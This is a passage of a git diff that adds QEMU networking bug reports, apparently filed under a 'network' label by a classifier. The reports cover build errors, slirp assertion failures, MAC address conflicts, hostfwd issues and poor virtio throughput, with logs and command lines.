52:54:00:12:34:57 + inet addr:10.0.2.15 Bcast:0.0.0.0 Mask:255.255.255.0 + inet6 addr: fec0::5054:ff:fe12:3457/64 Scope:Site + inet6 addr: fe80::5054:ff:fe12:3457/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:91955 errors:0 dropped:0 overruns:0 frame:0 + TX packets:25203 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:119904373 (114.3 MiB) TX bytes:1868274 (1.7 MiB) + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:0 errors:0 dropped:0 overruns:0 frame:0 + TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) +``` + +It might be easier to skip using arduino-cli and just use any mdns discovery app. diff --git a/results/classifier/gemma3:12b/network/816 b/results/classifier/gemma3:12b/network/816 new file mode 100644 index 000000000..3d9b91488 --- /dev/null +++ b/results/classifier/gemma3:12b/network/816 @@ -0,0 +1,48 @@ + +Some errors were encountered while compiling QEMU source code +Description of problem: +When I try to download the source code from gitlab and compile it, the output is as follows: + +``` +FAILED: subprojects/libvhost-user/libvhost-user.a.p/libvhost-user.c.o +clang -m64 -mcx16 -Isubprojects/libvhost-user/libvhost-user.a.p -Isubprojects/libvhost-user -I../subprojects/libvhost-user -fcolor-diagnostics -Wall -Winvalid-pch -Werror -std=gnu11 -O2 -g -fsanitize=fuzzer-no-link -fsanitize=undefined -fsanitize=address -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -fwrapv -Wold-style-definition -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wnested-externs -Wendif-labels -Wexpansion-to-defined -Wno-initializer-overrides -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-string-plus-int -Wno-typedef-redefinition -Wno-tautological-type-limit-compare -fstack-protector-strong -fprofile-instr-generate -fcoverage-mapping -fPIE -pthread -D_GNU_SOURCE -MD -MQ subprojects/libvhost-user/libvhost-user.a.p/libvhost-user.c.o -MF subprojects/libvhost-user/libvhost-user.a.p/libvhost-user.c.o.d -o subprojects/libvhost-user/libvhost-user.a.p/libvhost-user.c.o -c ../subprojects/libvhost-user/libvhost-user.c +In file included from ../subprojects/libvhost-user/libvhost-user.c:43: +../subprojects/libvhost-user/include/atomic.h:1:1: error: expected identifier or '(' +../../../include/qemu/atomic.h +^ +In file included from ../subprojects/libvhost-user/libvhost-user.c:45: +../subprojects/libvhost-user/libvhost-user.h:23:10: fatal error: 'standard-headers/linux/virtio_ring.h' file not found +#include "standard-headers/linux/virtio_ring.h" + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +2 errors generated. +[69/1511] Compiling C object subprojects/libvhost-user/libvhost-user-glib.a.p/libvhost-user-glib.c.o +FAILED: subprojects/libvhost-user/libvhost-user-glib.a.p/libvhost-user-glib.c.o +clang -m64 -mcx16 -Isubprojects/libvhost-user/libvhost-user-glib.a.p -Isubprojects/libvhost-user -I../subprojects/libvhost-user -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -fcolor-diagnostics -Wall -Winvalid-pch -Werror -std=gnu11 -O2 -g -fsanitize=fuzzer-no-link -fsanitize=undefined -fsanitize=address -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -fwrapv -Wold-style-definition -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wnested-externs -Wendif-labels -Wexpansion-to-defined -Wno-initializer-overrides -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-string-plus-int -Wno-typedef-redefinition -Wno-tautological-type-limit-compare -fstack-protector-strong -fprofile-instr-generate -fcoverage-mapping -fPIE -pthread -Wno-unused-function -MD -MQ subprojects/libvhost-user/libvhost-user-glib.a.p/libvhost-user-glib.c.o -MF subprojects/libvhost-user/libvhost-user-glib.a.p/libvhost-user-glib.c.o.d -o subprojects/libvhost-user/libvhost-user-glib.a.p/libvhost-user-glib.c.o -c ../subprojects/libvhost-user/libvhost-user-glib.c +In file included from ../subprojects/libvhost-user/libvhost-user-glib.c:15: +In file included from ../subprojects/libvhost-user/libvhost-user-glib.h:19: +../subprojects/libvhost-user/libvhost-user.h:23:10: fatal error: 'standard-headers/linux/virtio_ring.h' file not found +#include "standard-headers/linux/virtio_ring.h" + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +1 error generated. +[70/1511] Generating trace-hw_alpha.h with a custom command +[71/1511] Generating hmp-commands-info.h with a custom command (wrapped by meson to capture output) +[72/1511] Generating qemu-img-cmds.h with a custom command (wrapped by meson to capture output) +[73/1511] Generating hmp-commands.h with a custom command (wrapped by meson to capture output) +[74/1511] Generating qemu-options.def with a custom command (wrapped by meson to capture output) +[75/1511] Compiling C object libslirp.a.p/slirp_src_tcp_input.c.o +[76/1511] Compiling C object libcapstone.a.p/capstone_arch_SystemZ_SystemZDisassembler.c.o +[77/1511] Generating qemu-version.h with a custom command (wrapped by meson to capture output) +[78/1511] Compiling C object libcapstone.a.p/capstone_arch_AArch64_AArch64Disassembler.c.o +[79/1511] Compiling C object libcapstone.a.p/capstone_arch_ARM_ARMInstPrinter.c.o +[80/1511] Compiling C object libcapstone.a.p/capstone_arch_ARM_ARMDisassembler.c.o +[81/1511] Compiling C object libcapstone.a.p/capstone_arch_AArch64_AArch64InstPrinter.c.o +ninja: build stopped: subcommand failed. +Makefile:163: recipe for target 'run-ninja' failed +make: *** [run-ninja] Error 1 +``` + +I looked for the missing file standard-headers/linux/virtio_ring.h and found that the file existed. +Steps to reproduce: +1. ``git clone https://gitlab.com/qemu-project/qemu`` +2. ``CC=clang CXX=clang++ ../configure --enable-fuzzing --enable-sanitizers`` +3. ``make qemu-fuzz-i386`` diff --git a/results/classifier/gemma3:12b/network/828 b/results/classifier/gemma3:12b/network/828 new file mode 100644 index 000000000..1ec712588 --- /dev/null +++ b/results/classifier/gemma3:12b/network/828 @@ -0,0 +1,12 @@ + +using qemu-system-x86_64 to start multiple windows 10 guests concurrently , the mac address of the guests is incorrect +Description of problem: +I plan to run multiple windows 10 guests concurrently, I choose NAT network and specify a unique MAC addr for each guest. and I choose dnsmasq as a dhcp server. but I found that all guests MAC addresses are the same as the guest started first. +This situation also occurs in windows 8. But the strange thing is that this never happened to windows7 guests. +I'm Chinese and my English is pool, please forgive my bad expressions. +Steps to reproduce: +1.make a windows 10 image +2.qemu-system-x86_64 command assign unique MAC addr +3. python multiprocess lib running command above +Additional information: + diff --git a/results/classifier/gemma3:12b/network/829455 b/results/classifier/gemma3:12b/network/829455 new file mode 100644 index 000000000..6fd58126d --- /dev/null +++ b/results/classifier/gemma3:12b/network/829455 @@ -0,0 +1,17 @@ + +user mode network stack - hostfwd not working with restrict=y + +I find that explicit hostfwd commands do not seem to work with restrict=yes option, even if the docs clearly state that hostfwd should override restrict setting. + +I am using this config: + +-net user,name=test,net=192.168.100.0/24,host=192.168.100.44,restrict=y,hostfwd=tcp:127.0.0.1:3389-192.168.100.1:3389 + +(my guest has static IP address configured as 192.168.100.1/24) + +and I cannot log into my guest via rdp. the client hanging indefinitely. +by just changing to "restrict=no" I can log in. + +maybe I am doing something wrong, but I cannot figure out what. + +running QEMU emulator version 0.14.0 (qemu-kvm-0.14.0) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/838974 b/results/classifier/gemma3:12b/network/838974 new file mode 100644 index 000000000..eeeaa769e --- /dev/null +++ b/results/classifier/gemma3:12b/network/838974 @@ -0,0 +1,4 @@ + +Confusing error report for missing vde support + +The error that appears in qemu 0.15 is "parameter 'type' expects a network client type" when trying to use vde for networking as if the parameter is wrong, but the problem is that the executable was compiled without vde support. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/886255 b/results/classifier/gemma3:12b/network/886255 new file mode 100644 index 000000000..151f93ff2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/886255 @@ -0,0 +1,83 @@ + +Qemu master branch - RHEL 6.1 guest fails to boot + +Guest: RHEL 6.1 64 bit DVD + +Kernel: Latest Fedora, also reproduces with Avi's kvm.git kernel based on 3.1: 2.6.40.6-0.fc15.x86_64 + +qemu version: + +11/04 00:25:30 DEBUG|virt_utils:2587| Git repo qemu uri: git://git.qemu.org/qemu.git +11/04 00:25:30 DEBUG|virt_utils:2590| Git repo qemu branch: master +11/04 00:25:30 DEBUG|virt_utils:3189| Configure options for git_repo_qemu: ['--target-list=x86_64-softmmu'] +11/04 00:25:30 DEBUG|virt_utils:2496| Initializing new git repo at /usr/local/autotest/tests/kvm/src/qemu for receiving git repo 11/04 00:25:30 INFO |virt_utils:2505| Fetching git [REP 'git://git.qemu.org/qemu.git' BRANCH 'master'] -> /usr/local/autotest/tests/kvm/src/qemu +11/04 00:25:30 DEBUG|base_utils:0074| Running 'git fetch -q -f -u -t git://git.qemu.org/qemu.git master:master' +11/04 00:34:41 INFO |virt_utils:2531| Commit hash for qemu is 932eacc158c064935c7bab920c88a93a629e1ca4 (no tag found) + +On guest boot screenshots (one of them attached), you can see the message + +"Bringing up interface eth0: Device eth0 does not seem to be present, delaying initialization" + +Network card info +11/04 00:44:55 DEBUG| virt_test:0041| bridge = virbr0 +11/04 00:44:55 DEBUG| virt_test:0041| nic_mode = tap +11/04 00:44:55 DEBUG| virt_test:0041| nic_model = virtio + +Commented excerpt of the test log: + +11/04 00:44:57 INFO | kvm_vm:0790| Running qemu command: +/usr/local/autotest/tests/kvm/qemu -name 'vm1' -nodefaults -vga std -monitor unix:'/tmp/monitor-humanmonitor1-20111104-003602-LPJY',server,nowait -qmp unix:'/tmp/monitor-qmpmonitor1-20111104-003602-LPJY',server,nowait -serial unix:'/tmp/serial-20111104-003602-LPJY',server,nowait -drive file='/tmp/kvm_autotest_root/images/rhel6.1-64.qcow2',index=0,if=virtio,cache=none -device virtio-net-pci,netdev=id3HQgQx,mac='9a:16:a5:3c:05:25',id='id0AfUVE' -netdev tap,id=id3HQgQx,fd=23 -m 2048 -smp 2 -vnc :0 -enable-kvm +11/04 00:44:59 DEBUG|kvm_monito:0624| (monitor qmpmonitor1) Sending command 'qmp_capabilities' +11/04 00:44:59 DEBUG| kvm_vm:0851| VM appears to be alive with PID 9827 +11/04 00:44:59 DEBUG|virt_env_p:0318| Starting screendump thread +11/04 00:44:59 DEBUG| virt_vm:0654| Attempting to log into 'vm1' (timeout 720s) + +... here it starts booting ... + +11/04 00:44:59 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:01 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:03 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:05 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:07 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:09 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:11 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:13 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:15 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:17 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:19 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:21 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:23 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 + +... here it gets an IP from the DHCP server ... + +11/04 00:45:24 DEBUG|virt_env_p:0438| (address cache) Adding cache entry: 9a:16:a5:3c:05:25 ---> 192.168.122.195 + +... ok, let's try to login ... + +11/04 00:45:25 DEBUG|virt_utils:0710| Trying to login with command 'ssh -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -p 22 root@192.168.122.195' + +... ouch, not possible to login ... + +11/04 00:45:25 DEBUG| virt_vm:0660| Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') + +... message above repeats until ... + +11/04 00:56:59 ERROR| virt_test:0095| Test failed: LoginError: Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') +11/04 00:56:59 DEBUG|virt_env_p:0147| Postprocessing VM 'vm1' +11/04 00:56:59 DEBUG|virt_env_p:0166| Param 'kill_vm' specified, killing VM +11/04 00:56:59 DEBUG| kvm_vm:0885| Destroying VM with PID 9827 +11/04 00:56:59 DEBUG| kvm_vm:0889| Trying to shutdown VM with shell command +11/04 00:56:59 DEBUG|virt_utils:0710| Trying to login with command 'ssh -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -p 22 root@192.168.122.195' +11/04 00:56:59 DEBUG| kvm_vm:0893| Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') +11/04 00:56:59 DEBUG| kvm_vm:0908| Trying to kill VM with monitor command +11/04 00:56:59 INFO | aexpect:0783| [qemu output] (Process terminated with status 0) +11/04 00:57:00 DEBUG| kvm_vm:0916| VM is down +11/04 00:57:00 DEBUG| virt_vm:0318| Checking image file /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2 +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img' +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img info /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2' +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] image: /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2 +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] file format: qcow2 +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] virtual size: 10G (10737418240 bytes) +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] disk size: 2.1G +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] cluster_size: 65536 +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img check /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2' \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/891 b/results/classifier/gemma3:12b/network/891 new file mode 100644 index 000000000..8f25c6ce7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/891 @@ -0,0 +1,2 @@ + +how to know jpeg-wan-compression is in force diff --git a/results/classifier/gemma3:12b/network/899140 b/results/classifier/gemma3:12b/network/899140 new file mode 100644 index 000000000..685a5f4bc --- /dev/null +++ b/results/classifier/gemma3:12b/network/899140 @@ -0,0 +1,25 @@ + +Problem with Linux Kernel Traffic Control + +Hi, + +The two last main versions of QEMU (0.15 and 1.0) have an important problem when running on a Linux distribution which running itself a Traffic Control (TC) instance. +Indeed, when TC is configured with a Token Bucket Filter (TBF) with a particular rate, the effective rate is very slower than the desired one. + +For instance, lets consider the following configuration : + +# tc qdisc add dev eth0 root tbf rate 20mbit burst 20k latency 50ms + +The effective rate will be about 100kbit/s ! (verified with iperf) +I've encountered this problem on versions 0.15 and 1.0 but not with the 0.14... +In the 0.14, we have a rate of 19.2 mbit/s which is quiet normal. + +I've done the experimentation on several hosts : + +- Debian 32bit core i7, 4GB RAM +- Debian 64bit core i7, 8GB RAM +- 3 different high performance servers : Ubuntu 64 bits, 48 AMD Opteron, 128GB of RAM + +The problem is always the same... The problem is also seen with a Class Based Queuing (CBQ) in TC. + +Thanks \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/899664 b/results/classifier/gemma3:12b/network/899664 new file mode 100644 index 000000000..a03104955 --- /dev/null +++ b/results/classifier/gemma3:12b/network/899664 @@ -0,0 +1,103 @@ + +Bad internet performance for Host to Guest or Guest to Host + +Hi, +Internet performance for Host to Quest is low. +The speed Guest to same Guest is 11.3 Gbits/sec +The speed Host to same Host is similar (9.8-11 Gbits/sec) + +But the speed from Guest to Host is slow and around 1Gbit/sec. +In the reality traffic never leave a Host. I expected that in this case speed should be close to Host to Host. +It is important for virtual infrastructure when you have several Guests on a same Host. Guest to Guest on a same host has speed around 1 Gbits/sec too. + +Below you can find testes and additional information: + +========================================================================= +biouml@biouml-db:~$ iperf -c 192.168.2.31 -t 30 #Guest to Guest +------------------------------------------------------------ +Client connecting to 192.168.2.31, TCP port 5001 +TCP window size: 49.7 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.2.31 port 52170 connected with 192.168.2.31 port 5001 +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-30.0 sec 39.6 GBytes 11.3 Gbits/sec +============================================================================ +biouml@biouml-db:~$ iperf -c 192.168.2.11 -t 30 # Guest to Host +------------------------------------------------------------ +Client connecting to 192.168.2.11, TCP port 5001 +TCP window size: 43.4 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.2.31 port 47148 connected with 192.168.2.11 port 5001 +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-30.0 sec 3.69 GBytes 1.06 Gbits/sec +biouml@biouml-db:~$ +============================================================================ +root@s2-8core:~# iperf -c 192.168.2.30 -t 30 #host to guest +------------------------------------------------------------ +Client connecting to 192.168.2.30, TCP port 5001 +TCP window size: 16.0 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.2.11 port 57403 connected with 192.168.2.30 port 5001 +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-30.0 sec 5.47 GBytes 1.57 Gbits/sec + +========================================================================== +root@s2-8core:~# iperf -c 192.168.2.11 -t 30 #host to host +------------------------------------------------------------ +Client connecting to 192.168.2.11, TCP port 5001 +TCP window size: 49.7 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.2.11 port 38313 connected with 192.168.2.11 port 5001 +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-30.0 sec 34.5 GBytes 9.87 Gbits/sec +root@s2-8core:~# +======================================================================== + +I am using virtio drivers and virtual machine was started with following parameters: + +/usr/bin/kvm -S -M pc-1.0 -enable-kvm -m 4096 -smp 4,sockets=4,cores=1,threads=1 -name one-25 -uuid d1e125ee-d692-4598-3a75-441cd79a513a -nodefconfig -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/one-25.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -drive file=/var/lib/one/OpenNebula/var//25/images/disk.0,if=none,id=drive-virtio-disk0,format=raw,cache=none -device virtio-blk-pci,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=/var/lib/one/OpenNebula/var//25/images/disk.1,if=none,id=drive-virtio-disk3,format=raw -device virtio-blk-pci,bus=pci.0,addr=0x5,drive=drive-virtio-disk3,id=virtio-disk3 -netdev tap,fd=19,id=hostnet0 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=02:00:c0:a8:02:02,bus=pci.0,addr=0x3 -usb -device usb-mouse,id=input0 -vnc 0.0.0.0:98 -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 +============================================================================= +Qemu version: +root@s2-8core:~# /usr/bin/kvm --version +QEMU emulator version 0.15.92, Copyright (c) 2003-2008 Fabrice Bellard + +root@s2-8core:~# ls -la /usr/bin/kvm +lrwxrwxrwx 1 root root 27 2011-11-07 17:34 /usr/bin/kvm -> /usr/bin/qemu-system-x86_64 + +========================================================================== +Bridge configuration: + +root@s2-8core:~# cat /etc/network/interfaces +auto lo +iface lo inet loopback + +auto eth0 +iface eth0 inet manual + +auto eth1 +iface eth1 inet manual + +auto br0 +iface br0 inet static + address 192.168.2.11 + network 192.168.2.0 + netmask 255.255.255.0 + broadcast 192.168.2.255 + gateway 192.168.2.1 + bridge_ports eth0 + bridge_stp on + bridge_fd 0 + bridge_maxwait 0 +root@s2-8core:~# + +root@s2-8core:~# brctl show +bridge name bridge id STP enabled interfaces +br0 8000.001e8cec6113 yes eth0 + vnet0 +virbr0 8000.000000000000 yes + +root@s2-8core:~# brctl --version +bridge-utils, 1.5 +=============================================================== +root@s2-8core:~# uname -a +Linux s2-8core 3.0.0-13-server #22-Ubuntu SMP Wed Nov 2 15:09:08 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/903365 b/results/classifier/gemma3:12b/network/903365 new file mode 100644 index 000000000..444bc8b36 --- /dev/null +++ b/results/classifier/gemma3:12b/network/903365 @@ -0,0 +1,4 @@ + +[feature request] bind nat (-net user) to other interface (like eth0:2) + +-net user mode is very nice because it does not require any changes in host system. However if host system has muplitple IPs You cant use it, or even switch to another. Qemu should be able to "bind" to eth0:1 eth0:2 so that outgoing traffic uses this interface and thus other IP. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/912 b/results/classifier/gemma3:12b/network/912 new file mode 100644 index 000000000..ecbac7ebc --- /dev/null +++ b/results/classifier/gemma3:12b/network/912 @@ -0,0 +1,2 @@ + +Cannot access RHEL8_s390x installed OS using SSH from host OS network diff --git a/results/classifier/gemma3:12b/network/935945 b/results/classifier/gemma3:12b/network/935945 new file mode 100644 index 000000000..e1a5da336 --- /dev/null +++ b/results/classifier/gemma3:12b/network/935945 @@ -0,0 +1,153 @@ + +SLIRP still not working for win32 + +SLIRP has not worked since 0.14.1 (broken since the move to gthread/gio from the glib library which inherited -mms-bitfields on MinGW32 breaking bit padding on TCP/UDP packets). Patches attempting to reverse effects of GCC's -mms-bitfields do not seem to fix SLIRP. + +Here is an example slirp debug log: + +arp_table_add... +ip = 0x502000a +hw addr = 52:54:00:12:34:56 +arp_table_add... +ip = 0x502000a +hw addr = 52:54:00:12:34:56 +m_get... +m = 5bd4f0b8 +ip_input... +m = 5bd4f0b8 +m_len = 84 +icmp_input... +m = 5bd4f0b8 +m_len = 84 +icmp_type = 8 +ip_output... +so = 0 +m0 = 5bd4f0b8 +if_output... +so = 0 +ifm = 5bd4f0b8 +if_start... +arp_table_search... +ip = 0x502000a +found hw addr = 52:54:00:12:34:56 +m_free... +m = 5bd4f0b8 +m_get... +m = 5bd4f0b8 +ip_input... +m = 5bd4f0b8 +m_len = 84 +icmp_input... +m = 5bd4f0b8 +m_len = 84 +icmp_type = 8 +ip_output... +so = 0 +m0 = 5bd4f0b8 +if_output... +so = 0 +ifm = 5bd4f0b8 +if_start... +arp_table_search... +ip = 0x502000a +found hw addr = 52:54:00:12:34:56 +m_free... +m = 5bd4f0b8 +arp_table_add... +ip = 0x502000a +hw addr = 52:54:00:12:34:56 +m_get... +m = 5bd4f0b8 +ip_input... +m = 5bd4f0b8 +m_len = 55 +udp_input... +m = 5bd4f0b8 +iphlen = 20 +sosendto... +so = 5bd104a0 +m = 5bd4f0b8 +sendto()ing, addr.sin_port=53, addr.sin_addr.s_addr=8.8.8.8 +m_free... +m = 0 +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +m_get... +m = 5bd4f728 +ip_input... +m = 5bd4f728 +m_len = 55 +udp_input... +m = 5bd4f728 +iphlen = 20 +sosendto... +so = 5bd104a0 +m = 5bd4f728 +sendto()ing, addr.sin_port=53, addr.sin_addr.s_addr=8.8.8.8 +m_free... +m = 5bd4f0b8 +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +m_get... +m = 5bd4f0b8 +ip_input... +m = 5bd4f0b8 +m_len = 55 +udp_input... +m = 5bd4f0b8 +iphlen = 20 +sosendto... +so = 5bd104a0 +m = 5bd4f0b8 +sendto()ing, addr.sin_port=53, addr.sin_addr.s_addr=8.8.8.8 +m_free... +m = 5bd4f728 +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +ip_slowtimo... +tcp_slowtimo... +[repeated] \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/938945 b/results/classifier/gemma3:12b/network/938945 new file mode 100644 index 000000000..f152b7139 --- /dev/null +++ b/results/classifier/gemma3:12b/network/938945 @@ -0,0 +1,24 @@ + +Slirp cannot be forward and makes segmentation faults + +Hi, + +Let's consider the following lines: + +$ qemu -enable-kvm -name opeth -hda debian1.img -k fr -localtime -m 512 -net user,vlan=0 -net nic,vlan=0,model=$model,macaddr=a2:00:00:00:00:10 -net socket,vlan=1,listen=127.0.0.1:5900 -net nic,vlan=1,model=$model,macaddr=a2:00:00:00:00:04 + +$qemu -enable-kvm -name nightwish -hda debian2.img -k fr -localtime -m 512 -net socket,vlan=0,connect=127.0.0.1:5900 -net nic,vlan=0,model=$model,macaddr=a2:00:00:00:00:02 + + +My configuration is clear and allows to transmit packets between the Slirp and the guest nightwish. +But when I try to do on nightwish : + +$ wget www.qemu.org + +The opeth QEMU makes a segfault : "11586 Segmentation Fault" + +This phenomenon is not always present... If the Segfault does not appear, nightwish cannot enable a connection with internet :( + + +Thanks +Vince \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/954099 b/results/classifier/gemma3:12b/network/954099 new file mode 100644 index 000000000..e8ba5bd09 --- /dev/null +++ b/results/classifier/gemma3:12b/network/954099 @@ -0,0 +1,15 @@ + +Assertion failed arp_table.c line 41 on raspberry pi fedora image boot up + +OS Win XP pro, 32 bit SP3 +Intel Core Duo, 4G RAM. + +Qemu 1.0.1 + +Launch command: +qemu-system-arm.exe -M versatilepb -cpu arm1136-r2 -hda raspberrypi-fedora-remix-14-r1.img -kernel zImage-devtmpfs -m 192 -append "root=/dev/sda2" -vga std -net nic -net user -localtime + +Starting HAL daemon: eth0: link up +Assert fires : +File : slirp\arp_table.c line 41 +Expression (ip_addr & htonl(~0xf << 28))) 1=0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/960 b/results/classifier/gemma3:12b/network/960 new file mode 100644 index 000000000..dc8dc97bc --- /dev/null +++ b/results/classifier/gemma3:12b/network/960 @@ -0,0 +1,2 @@ + +Windows host / win98 guest, i don't understand how to use network diff --git a/results/classifier/gemma3:12b/network/97 b/results/classifier/gemma3:12b/network/97 new file mode 100644 index 000000000..e152c09e7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/97 @@ -0,0 +1,2 @@ + +-serial tcp should hang up when DTR goes low diff --git a/results/classifier/gemma3:12b/network/976 b/results/classifier/gemma3:12b/network/976 new file mode 100644 index 000000000..dc4ef6ca3 --- /dev/null +++ b/results/classifier/gemma3:12b/network/976 @@ -0,0 +1,2 @@ + +Qemu - Bridge direct network connection not working diff --git a/results/classifier/gemma3:12b/network/988909 b/results/classifier/gemma3:12b/network/988909 new file mode 100644 index 000000000..d6731d284 --- /dev/null +++ b/results/classifier/gemma3:12b/network/988909 @@ -0,0 +1,17 @@ + +Assert failed in arp_table.c + + +With latest git (8001954) hen running: + +qemu-system-64 -hda $VDISK -kernel arch/x86/boot/bzImage \ + -append "ro root=/dev/hda1 console=ttyS0 init=/bin/systemd" \ + -curses \ + -net nic -smp 3 -m 312 $@ + +I'm getting this: + + qemu-system-x86_64: slirp/arp_table.c:75: arp_table_search: Assertion `(ip_addr & (__extension__ ({ register unsigned int __v, __x = (~(0xf << 28)); if (__builtin_constant_p (__x)) __v = ((((__x) & 0xff000000) >> 24) | (((__x) & 0x00ff0000) >> 8) | (((__x) & 0x0000ff00) << 8) | (((__x) & 0x000000ff) << 24)); else __asm__ ("bswap %0" : "=r" (__v) : "0" (__x)); __v; }))) != 0' failed. + +Bug #824650 seems to be related to this one, but it is not. Fix for that one is already upstream. +I can help on testing. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/999 b/results/classifier/gemma3:12b/network/999 new file mode 100644 index 000000000..7bd9e72c4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/999 @@ -0,0 +1,7 @@ + +Update ipv4 function calls +Description of problem: +Qemu still uses obsolete ipv4 functions, it would be fine to convert them to their ipv6 counterparts: +* gethostbyname +* inet_aton +* inet_ntoa |